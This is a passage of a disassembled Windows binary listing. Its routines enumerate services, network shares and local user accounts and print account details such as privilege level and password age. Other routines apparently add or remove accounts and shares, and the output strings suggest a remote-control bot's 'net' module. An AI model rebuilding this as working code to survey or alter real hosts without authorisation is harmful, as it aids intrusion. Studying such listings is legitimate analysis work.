; ---------------------------------------------------------------------------
loc_40E635: ; CODE XREF: sub_40E52B+D2j
; DATA XREF: seg000:off_40E66Fo
push offset aTheRequested_1 ; jumptable 0040E5FD case 3
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E63C: ; CODE XREF: sub_40E52B+D2j
; DATA XREF: seg000:off_40E66Fo
push offset aTheServiceHasN ; jumptable 0040E5FD case 4
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E643: ; CODE XREF: sub_40E52B+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_40E648: ; CODE XREF: sub_40E52B+41j
; sub_40E52B+4Bj ...
push offset dword_45ED50
call sub_41050B
pop ecx
pop ecx
jmp short loc_40E669
; ---------------------------------------------------------------------------
loc_40E656: ; CODE XREF: sub_40E52B+36j
; sub_40E52B+89j ...
push eax ; default
; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_45ED50
call sub_41050B
add esp, 0Ch
loc_40E669: ; CODE XREF: sub_40E52B+129j
mov eax, offset dword_45ED50
retn
sub_40E52B endp
; ---------------------------------------------------------------------------
off_40E66F dd offset loc_40E619 ; DATA XREF: sub_40E52B+D2r
dd offset loc_40E620 ; jump table for switch statement
dd offset loc_40E635
dd offset loc_40E63C
dd offset loc_40E604
dd offset loc_40E612
dd offset loc_40E627
dd offset loc_40E62E
dd offset loc_40E60B
dd offset loc_40E656
byte_40E697 db 0, 9, 1, 2 ; DATA XREF: sub_40E52B+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E6A9 proc near ; CODE XREF: seg000:0040AAADp
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call ds:dword_430788 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 14h
loc_40E6E1: ; CODE XREF: sub_40E6A9+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call ds:dword_430758 ; EnumServicesStatusA
test eax, eax
jnz short loc_40E71B
call ds:dword_41C068 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_40E7CF
loc_40E71B: ; CODE XREF: sub_40E6A9+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_40E7C6
lea esi, [ebp+var_188]
loc_40E72C: ; CODE XREF: sub_40E6A9+117j
mov eax, [esi+8]
dec eax
jz short loc_40E775
dec eax
jz short loc_40E76E
dec eax
jz short loc_40E767
dec eax
jz short loc_40E760
dec eax
jz short loc_40E759
dec eax
jz short loc_40E752
dec eax
jz short loc_40E74B
push offset aUnknown_1 ; " Unknown"
jmp short loc_40E77A
; ---------------------------------------------------------------------------
loc_40E74B: ; CODE XREF: sub_40E6A9+99j
push offset aPaused_0 ; " Paused"
jmp short loc_40E77A
; ---------------------------------------------------------------------------
loc_40E752: ; CODE XREF: sub_40E6A9+96j
push offset aPausing ; " Pausing"
jmp short loc_40E77A
; ---------------------------------------------------------------------------
loc_40E759: ; CODE XREF: sub_40E6A9+93j
push offset aContinuing ; " Continuing"
jmp short loc_40E77A
; ---------------------------------------------------------------------------
loc_40E760: ; CODE XREF: sub_40E6A9+90j
push offset aRunning_0 ; " Running"
jmp short loc_40E77A
; ---------------------------------------------------------------------------
loc_40E767: ; CODE XREF: sub_40E6A9+8Dj
push offset aStoping ; " Stoping"
jmp short loc_40E77A
; ---------------------------------------------------------------------------
loc_40E76E: ; CODE XREF: sub_40E6A9+8Aj
push offset aStarting ; " Starting"
jmp short loc_40E77A
; ---------------------------------------------------------------------------
loc_40E775: ; CODE XREF: sub_40E6A9+87j
push offset aStopped ; " Stopped"
loc_40E77A: ; CODE XREF: sub_40E6A9+A0j
; sub_40E6A9+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41050B
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_40E72C
loc_40E7C6: ; CODE XREF: sub_40E6A9+77j
cmp [ebp+var_8], ebx
jnz loc_40E6E1
loc_40E7CF: ; CODE XREF: sub_40E6A9+6Cj
push [ebp+var_C]
call ds:dword_4306A8 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_40E6A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E7E6 proc near ; CODE XREF: seg000:loc_40AB64p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_40E87F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_40E80F
dec eax
jnz short loc_40E85F
push edi
push 0
call sub_40E9B8
pop ecx
pop ecx
jmp short loc_40E85B
; ---------------------------------------------------------------------------
loc_40E80F: ; CODE XREF: sub_40E7E6+18j
cmp [ebp+arg_8], 0
jnz short loc_40E84D
push 24h
push edi
call sub_412760
pop ecx
test eax, eax
pop ecx
jnz short loc_40E84D
push 57h
pop eax
loc_40E826: ; CODE XREF: sub_40E7E6+77j
push eax
call sub_40F190
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_45F00C
push ds:off_42CC50[eax*4]
push offset dword_42D35C
push esi
call sub_41050B
add esp, 18h
jmp short loc_40E89F
; ---------------------------------------------------------------------------
loc_40E84D: ; CODE XREF: sub_40E7E6+2Dj
; sub_40E7E6+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_40E90C
add esp, 0Ch
loc_40E85B: ; CODE XREF: sub_40E7E6+27j
test eax, eax
jnz short loc_40E826
loc_40E85F: ; CODE XREF: sub_40E7E6+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_45F00C
push ds:off_42CC54[eax*4]
push offset dword_42D32C
push esi
call sub_41050B
add esp, 10h
jmp short loc_40E89F
; ---------------------------------------------------------------------------
loc_40E87F: ; CODE XREF: sub_40E7E6+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_45F00C
lea eax, [eax+eax*2]
push ds:off_42CC50[eax*4]
push offset dword_42D2F4
push esi
call sub_41050B
add esp, 0Ch
loc_40E89F: ; CODE XREF: sub_40E7E6+65j
; sub_40E7E6+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_40E7E6 endp
; =============== S U B R O U T I N E =======================================
sub_40E8A5 proc near ; CODE XREF: sub_40FC75+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_40E8B2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E8B2: ; CODE XREF: sub_40E8A5+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_41C11C
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test ds:byte_45F20C, 1
mov ebp, eax
jnz short loc_40E8EF
or ds:byte_45F20C, 1
lea eax, [ebp+1]
push eax
call sub_411605
pop ecx
mov ds:dword_45EFAC, eax
loc_40E8EF: ; CODE XREF: sub_40E8A5+32j
push esi
push esi
push ebp
push ds:dword_45EFAC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, ds:dword_45EFAC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_40E8A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E90C proc near ; CODE XREF: sub_40E7E6+6Dp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_40E977
push [ebp+arg_4]
mov edi, eax
call sub_40E977
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_412760
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_40E977
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call ds:dword_4306A4
pop edi
leave
retn
sub_40E90C endp
; =============== S U B R O U T I N E =======================================
sub_40E977 proc near ; CODE XREF: sub_40E90C+Ap
; sub_40E90C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_40E984
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40E984: ; CODE XREF: sub_40E977+9j
push ebx
push esi
mov esi, ds:dword_41C120
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_411605
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_40E977 endp
; =============== S U B R O U T I N E =======================================
sub_40E9B8 proc near ; CODE XREF: sub_40E7E6+20p
; sub_40FC75+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40E977
push [esp+8+arg_4]
mov esi, eax
call sub_40E977
pop ecx
pop ecx
push 0
push eax
push esi
call ds:dword_430680
pop esi
retn
sub_40E9B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9DB proc near ; CODE XREF: seg000:0040AB90p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_40E977
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 18h
loc_40EA14: ; CODE XREF: sub_40E9DB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call ds:dword_4306F0
mov ebx, eax
cmp ebx, esi
jz short loc_40EA77
cmp ebx, 0EAh
jz short loc_40EA77
push ebx
push ebx
call sub_40F190
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_42D3BC
push eax
call sub_41050B
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 24h
jmp short loc_40EAE4
; ---------------------------------------------------------------------------
loc_40EA77: ; CODE XREF: sub_40E9DB+5Dj
; sub_40E9DB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_40EADB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_40EA85: ; CODE XREF: sub_40E9DB+FCj
push dword ptr [esi+10h]
call ds:dword_430698 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_40EA9C
mov eax, offset aNo ; "No"
loc_40EA9C: ; CODE XREF: sub_40E9DB+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_40EA85
xor esi, esi
loc_40EADB: ; CODE XREF: sub_40E9DB+A2j
push [ebp+var_4]
call ds:dword_430820
loc_40EAE4: ; CODE XREF: sub_40E9DB+9Aj
cmp ebx, 0EAh
jz loc_40EA14
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40E9DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAFC proc near ; CODE XREF: seg000:loc_40AC06p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_40EBA0
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_40EB3E
dec eax
jz short loc_40EB33
dec eax
jnz short loc_40EB59
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_40EC42
add esp, 14h
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB33: ; CODE XREF: sub_40EAFC+1Dj
push ebx
push edi
call sub_40EC21
pop ecx
pop ecx
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB3E: ; CODE XREF: sub_40EAFC+1Aj
cmp [ebp+arg_8], edi
jz short loc_40EB52
push [ebp+arg_8]
push ebx
push edi
call sub_40EBC7
add esp, 0Ch
jmp short loc_40EB55
; ---------------------------------------------------------------------------
loc_40EB52: ; CODE XREF: sub_40EAFC+45j
push 57h
pop eax
loc_40EB55: ; CODE XREF: sub_40EAFC+35j
; sub_40EAFC+40j ...
cmp eax, edi
jnz short loc_40EB79
loc_40EB59: ; CODE XREF: sub_40EAFC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_45F210
push ds:off_42CC54[eax*4]
push offset dword_42D4AC
push esi
call sub_41050B
add esp, 10h
jmp short loc_40EBC0
; ---------------------------------------------------------------------------
loc_40EB79: ; CODE XREF: sub_40EAFC+5Bj
push eax
call sub_40F190
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_45F210
push ds:off_42CC50[eax*4]
push offset dword_42D46C
push esi
call sub_41050B
add esp, 18h
jmp short loc_40EBC0
; ---------------------------------------------------------------------------
loc_40EBA0: ; CODE XREF: sub_40EAFC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_45F210
lea eax, [eax+eax*2]
push ds:off_42CC50[eax*4]
push offset dword_42D430
push esi
call sub_41050B
add esp, 0Ch
loc_40EBC0: ; CODE XREF: sub_40EAFC+7Bj
; sub_40EAFC+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40EAFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EBC7 proc near ; CODE XREF: sub_40EAFC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_40E977
push [ebp+arg_4]
mov edi, eax
call sub_40E977
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_40E977
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call ds:dword_430688
pop edi
leave
retn
sub_40EBC7 endp
; =============== S U B R O U T I N E =======================================
sub_40EC21 proc near ; CODE XREF: sub_40EAFC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40E977
push [esp+8+arg_4]
mov esi, eax
call sub_40E977
pop ecx
pop ecx
push eax
push esi
call ds:dword_43067C
pop esi
retn
sub_40EC21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EC42 proc near ; CODE XREF: sub_40EAFC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_40E977
push [ebp+arg_4]
mov esi, eax
call sub_40E977
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call ds:dword_4307E8
test eax, eax
mov [ebp+arg_0], eax
jnz loc_40EFCF
mov eax, [ebp+var_4]
test eax, eax
jz loc_40F00A
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41050B
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_40ED5B
dec eax
jz short loc_40ED54
dec eax
jz short loc_40ED4D
mov eax, offset aUnknown ; "Unknown"
jmp short loc_40ED60
; ---------------------------------------------------------------------------
loc_40ED4D: ; CODE XREF: sub_40EC42+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_40ED60
; ---------------------------------------------------------------------------
loc_40ED54: ; CODE XREF: sub_40EC42+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_40ED60
; ---------------------------------------------------------------------------
loc_40ED5B: ; CODE XREF: sub_40EC42+FCj
mov eax, offset aGuest ; "Guest"
loc_40ED60: ; CODE XREF: sub_40EC42+109j
; sub_40EC42+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40E367
add esp, 20h
pop edi
pop ebx
jmp short loc_40EFFB
; ---------------------------------------------------------------------------
loc_40EFCF: ; CODE XREF: sub_40EC42+35j
push eax
lea eax, [ebp+var_204]
push offset dword_42D4E0
push eax
call sub_41050B
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40E367
add esp, 20h
loc_40EFFB: ; CODE XREF: sub_40EC42+38Bj
cmp [ebp+var_4], 0
jz short loc_40F00A
push [ebp+var_4]
call ds:dword_430820
loc_40F00A: ; CODE XREF: sub_40EC42+40j
; sub_40EC42+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_40EC42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F010 proc near ; CODE XREF: seg000:0040AC32p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_40E977
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 18h
loc_40F04F: ; CODE XREF: sub_40F010+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call ds:dword_430708
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_40F0B0
cmp eax, 0EAh
jz short loc_40F0B0
push eax
push eax
call sub_40F190
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_42D6E8
push eax
call sub_41050B
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 24h
jmp short loc_40F12B
; ---------------------------------------------------------------------------
loc_40F0B0: ; CODE XREF: sub_40F010+62j
; sub_40F010+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_40F13E
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_40F12B
loc_40F0C2: ; CODE XREF: sub_40F010+EDj
cmp edi, esi
jz short loc_40F101
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41050B
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_40F0C2
jmp short loc_40F12B
; ---------------------------------------------------------------------------
loc_40F101: ; CODE XREF: sub_40F010+B4j
lea eax, [ebp+var_218]
push offset dword_42D6A0
push eax
call sub_41050B
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 1Ch
loc_40F12B: ; CODE XREF: sub_40F010+9Ej
; sub_40F010+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_40F13E
push edi
call ds:dword_430820
xor edi, edi
mov [ebp+var_4], edi
loc_40F13E: ; CODE XREF: sub_40F010+A5j
; sub_40F010+120j
cmp [ebp+var_C], 0EAh
jz loc_40F04F
cmp edi, esi
jz short loc_40F156
push edi
call ds:dword_430820
loc_40F156: ; CODE XREF: sub_40F010+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41050B
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E367
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40F010 endp
; =============== S U B R O U T I N E =======================================
sub_40F190 proc near ; CODE XREF: sub_40E7E6+41p
; sub_40E9DB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_40F242
jz loc_40F23B
cmp eax, 7Bh
ja short loc_40F207
jz short loc_40F1FD
cmp eax, 5
jz short loc_40F1F3
cmp eax, 8
jz short loc_40F1E9
cmp eax, 32h
jz short loc_40F1DF
cmp eax, 35h
jz short loc_40F1D5
cmp eax, 57h
jnz loc_40F291
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F1D5: ; CODE XREF: sub_40F190+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F1DF: ; CODE XREF: sub_40F190+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F1E9: ; CODE XREF: sub_40F190+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F1F3: ; CODE XREF: sub_40F190+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F1FD: ; CODE XREF: sub_40F190+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_40F2B2
; ---------------------------------------------------------------------------
loc_40F207: ; CODE XREF: sub_40F190+1Aj
sub eax, 7Ch
jz short loc_40F234
sub eax, 7C8h
